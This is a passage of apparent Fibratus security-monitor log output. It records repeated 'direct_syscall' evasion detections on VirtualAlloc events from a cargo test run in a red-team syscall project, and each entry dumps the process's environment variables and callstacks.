WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681c5acbf C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff681c516a2 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff681c5153d C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff681aad0cc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680e1a95a C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680e24d4c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680e2a494 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680f86908 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680791f62 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680802000 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904961 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1454209 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ef3000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680805856 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 904963 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1454413 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ef2000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program 